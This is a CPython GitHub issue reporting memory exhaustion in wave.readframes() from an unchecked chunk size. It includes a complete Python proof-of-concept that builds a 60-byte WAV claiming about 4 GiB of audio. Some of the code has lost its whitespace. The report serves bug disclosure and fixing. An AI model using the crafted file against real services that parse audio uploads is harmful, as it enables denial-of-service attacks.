Skip to content

Memory Exhaustion in wave.readframes() via Crafted Chunk Size #151308

Description

@DarkaMaul

Bug report

Bug description:

Summary

The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).

Details

_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():

self.chunksize=struct.unpack_from(strflag+'L', file.read(4))[0]

cpython/Lib/wave.py

Lines 188 to 192 in 9633c52

ifsize<0:
size=self.chunksize-self.size_read
ifsize>self.chunksize-self.size_read:
size=self.chunksize-self.size_read
data=self.file.read(size)

Reproducer

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""Memory exhaustion in wave.readframes() via crafted WAV chunk size."""importresourceimportstructimportsysimporttempfileimportwaveCLAIMED_SIZE=0xFFFFFFFF# ~4 GiBMEM_LIMIT=256*1024*1024# 256 MiBdefbuild_crafted_wav() ->bytes:
"""Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""fmt_data=struct.pack(
"<HHLLHH",
1, # wFormatTag = WAVE_FORMAT_PCM1, # nchannels = 1 (mono)44100, # framerate88200, # dwAvgBytesPerSec2, # wBlockAlign (nchannels * sampwidth)16, # wBitsPerSample
)
fmt_chunk=b"fmt "+struct.pack("<L", len(fmt_data)) +fmt_datadata_chunk= (
b"data"+struct.pack("<L", CLAIMED_SIZE) +b"\x00"*16
)
riff_header=b"RIFF"+struct.pack("<L", CLAIMED_SIZE) +b"WAVE"returnriff_header+fmt_chunk+data_chunkdefmain():
wav_bytes=build_crafted_wav()
withtempfile.NamedTemporaryFile(suffix=".wav") astmp:
tmp.write(wav_bytes)
tmp.flush()
try:
w=wave.open(tmp.name, "r")
w.readframes(-1)
w.close()
exceptMemoryError:
print(
f"MemoryError from {len(wav_bytes)}-byte WAV "f"with chunksize={CLAIMED_SIZE:,}"
)
sys.exit(0)
exceptException:
print("BLOCKED: wave rejected crafted chunksize")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if__name__=="__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()

Impact

Memory Error

Related issue

#141713

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    stdlibStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or error

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions